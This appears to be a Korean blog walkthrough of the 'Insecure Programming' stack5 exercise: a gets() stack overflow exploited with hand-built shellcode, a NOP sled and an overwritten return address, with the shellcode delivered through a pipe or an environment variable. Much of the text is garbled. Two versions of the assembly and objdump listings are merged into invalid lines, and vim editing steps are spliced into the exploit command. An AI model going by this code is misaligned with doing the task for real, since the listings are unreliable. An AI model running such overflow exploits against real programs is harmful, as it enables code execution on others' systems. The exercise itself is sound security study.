기본 콘텐츠로 건너뛰기

Insecure-programming-stack5

Insecure-programming-stack5

Insecure Programming by example

Stack 5

이번 문제에서는 조건절 안에 “you win!” 문구 대신 "you loose!"가 있는 것을 볼 수 있다.

#include <stdio.h>
 
int main() {
        int cookie;
        char buf[80];
 
        printf("buf: %08x cookie: %08xn", &buf, &cookie);
        gets(buf);
 
        if (cookie == 0x000d0a00)
                printf("you loose!\n");
}

따라서 이번 문제를 해결하기 위해서는 임의로 작성한 별도의 코드를 프로그램에서 호출하도록 하여 “you win!” 구문 출력을 이끌어 내야한다.

"you win!"을 출력하고 종료하는 간단한 어셈블리어 코드를 작성한다.

section .text
global  _start

_start:

jmp short ender

starter:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 4
mov dbl, 91
pop ecx
mov bdl, 14
int 0x80
xor eax, eax
inc eaxal
dec bl
int 0x80

ender:
call starter
db 'you win!\n'

작성이 완료되었다면 nasm을 이용하여 오브젝트 파일을 생성한 후 ld 명령어로 실행 파일을 만들어 제대로 동작하는 지 확인해보하고 objdump를 이용하여 코드 덤프를 만들자.

# nasm -f elf -o stack54_sh_code.o ./stack4_sh_code.asm
# ld objdump -d ./stack4_sh_code.o
# ./a.out
you win!

동작 확인이 끝났다면 objdump를 이용하여 코드 덤프를 만들자.

# objdump -d ./a.out > stack54_sh_code.dump

objdump로 만든 덤프 파일을 vim에디터로 불러와 내용을 살펴보자.

# vim stack54_sh_code.dump

./a.outstack4_sh_code.o:     file format elf32-i386

Disassembly of section .text:

08048060000000 <_start>:
 8048060:    0:   eb 148                   jmp    80480761a <ender>

08048060000002 <starter>:
 8048062:    2:   31 c0                   xor    %eax,%eax
 8048064:    4:   31 db                   xor    %ebx,%ebx
 8048066:      6:   31 c9                   xor    %ecx,%ecx
   8:   31 d2                   xor    %edx,%edx
 8048068:    a:   b0 04                   mov    $0x4,%al
 804806a:    c:   b23 091                   mov    $0x91,%dbl
 804806c:    e:   59                      pop    %ecx
 804806d:    f:   b32 01e                   mov    $0x1e,%bdl
 804806f:     11:   cd 80                   int    $0x80
 8048071:     13:   31 c0                   xor    %eax,%eax
 8048073:     15:   40                      inc    %eax
 8048074:     16:   fe cb                   dec    %bl
  18:   cd 80                   int    $0x80

08048076000001a <ender>:
 8048076:     1a:   e8 e73 ff ff ff          call   8048062 <starter>
 804807b:   1f:     79 6f                   jns    80480ec90 <ender+0x76>
 804807d:   21:     75 20                   jne    804809f43 <ender+0x29>
 804807f:     23:   77 69                   ja     80480eae <ender+0x74>
 8048081:     25:   6e                      outsb  %ds:(%esi),(%dx)
 8048082:     26:   21                      .byte 0x21
  27:   5c                      pop    %esp
  28:   6e                      outsb  %ds:(%esi),(%dx)

머신 코드가 작성되어 있는 것을 확인할 수 있다. 주의할 점은 머신 코드에 00이 포함되어 있으면 안된다는 것이다. 00은 NULL문자로 해당 문자를 만나면 읽기 종료로 인식하고 전체 삽입 코드를 읽지 않게 된다.

이제 덤프 코드 내에서 머신 코드 외 불필요한 부분을 제거하자.

\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb2\x09\x59\xb3\x01\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21 

두 가지 방식으로 머신 코드를 활용할 수 있는 데, 첫 번째는 입력 버퍼에 직접 삽입하여 삽입된 머신 코드를 실행하는 방식과 두 번째는 환경 변수에 등록 후 환경 변수의 주소를 호출하여 코드를 실행하는 것이다.

먼저 입력 버퍼에 직접 삽입하여 실행하는 방식을 진행하자.

머신 코드 동작 테스트 및 길이를 확인하는 간단한 프로그램을 만들자.

#include <stdio.h>

char *shellcode = "\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb2\x09\x59\xb3\x01\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21";

int main()
{
        fprintf(stdout, "Length: %d\n", strlen(shellcode));
        (*(void(*)()) shellcode)();
        return 0;
}
# gcc -o test test.c
# ./test
Length: 35
you win!

컴파일 후 실행해보면 머신 코드 길이 및 머신 코드 실행으로 인해 “you win!” 문구가 출력된 것을 확인할 수 있다.

이제 머신 코드를 파이프를 이용하여 stack5 프로그램으로 전달해보자.

# python -c "print '\x90'*73+'bash
ctrl + v
머신 코드 선택 후 y
p로 붙여넣은 후 덤프 코드 제거
:%s/^/\\x/g (행 시작 부분에 '\x' 삽입)
:%s/ /\\x/gc (공백 문자 '\x'으로 치환)
:%s/ //g (불필요한 공백 제거)
:%s/\n//g (줄바꿈 제거)
\xeb\x148\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb23\x091\x59\xb32\x01e\xcd\x80\x31\xc0\x40\xfe\xcb\xcd\x80\xe8\xe73\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21'+'\xf0\xf\xff\xbf'"|./stack5
buf: bffff800 cookie: bffff85c
you win!

buf배열 부터 eip 까지의 바이트 수를 계산 후 머신 코드 및 buf배열 시작 주소를 제외한 잔여 바이트 만큼 \x90 (nop)으로 채워주게 되면 함수 에필로그 후 eip에서 buf 배열 시작 주소를 읽어와 \x90 (nop)을 거쳐 머신 코드에 도달하게 되고 성공적으로 “you win!” 구문을 출력하는 것을 볼 수 있다.

이제 환경 변수를 활용하여 머신 코드를 실행해보자\x5c\x6e

머신 코드 전체를 프로그램의 입력 값으로 삽입하여 활용하면 가장 간편하지만, 입력 버퍼가 부족하여 활용이 불가하다.

이런 경우 환경 변수로 해당 코드를 등록하고 환경 변수 주소로 이동하게 하는 방식으로 대처가 가능하다.

먼저 환경 변수 주소를 출력하는 프로그램을 만들어보자.
```c
#include <stdio.h>

int main(int argc, char *argv[])
{
         char *addr;
         addr=getenv(argv[1]);
         printf("The address of %s is %p\n",argv[1],addr);
         return 0;
}
# gcc -o get ./get.c
# ./get USER
The address of USER is 0xbffffa9c

환경 변수 주소를 출력하는 것을 확인할 수 있다. 이제 앞서 작성했던 머신 코드를 환경 변수에 등록한 후 주소를 확인해보자.

# export test=`python -c "print '\x90'*300+'\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb2\x09\x59\xb3\x01\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21'"`

# export | grep test
declare -x test="�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1Ұ�     Y�̀1�@�����you win!"
# ./get test
The address of test is 0xbffffd63

환경 변수로 등록한 머신 코드 주소를 eip로 전달하여 “you win!” 구문 출력을 확인하자.

# python -c "print 'a'*108+'\x63\xfd\xff\xbf'" | ./stack5
you win!

전체 목록 보기 : Insecure programming
진행 환경 : # cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`

이 블로그의 인기 게시물

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx

X-Frame-Options-Test

X-Frame-Options 테스트하기 X-Frame-Options 페이지 구성 시 삽입된 프레임의 출처를 검증하여 허용하지 않는 페이지 URL일 경우 해당 프레임을 포함하지 않는 확장 응답 헤더이다. 보안 목적으로 사용되는 확장 헤더로 아직 적용되지 않은 사이트들이 많지만 앞으로 점차 적용될 것으로 보인다. X-Frame OptionsDENY, SAMEORIGIN, ALLOW-FROM 옵션을 이용하여 세부 정책을 설정한다. 옵션 설명 DENY Frame 비허용 SAMEORIGIN 동일한 ORIGIN에 해당하는 Frame만 허용 ALLOW-FROM 지정된 ORIGIN에 해당하는 Frame만 허용 크롬 4.1 , IE 8 , 오페라 10.5 , 사파리 4.0 , 파이어폭스 3.6.9 이상에서는 DENY , SAMEORIGIN 이 적용되며, ALLOW-FROM 은 각 브라우저 마다 지원 현황이 다르다. https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Frame-Options 해당 확장헤더는 브라우저에서 처리하는 응답 헤더이므로 미지원 브라우저 사용 시 설정과 무관하게 페이지 내 포함된 모든 Frame을 출력한다. (검증 테스트: Opera 5.0.0) 테스트 코드 DENY <!DOCTYPE html> < html lang = "en" > < head > < meta http-equiv = "X-Frame-Options" content = "deny" /> < title > Deny option Test </ title > </ head > < bod

데일 카네기 인간관계론 정리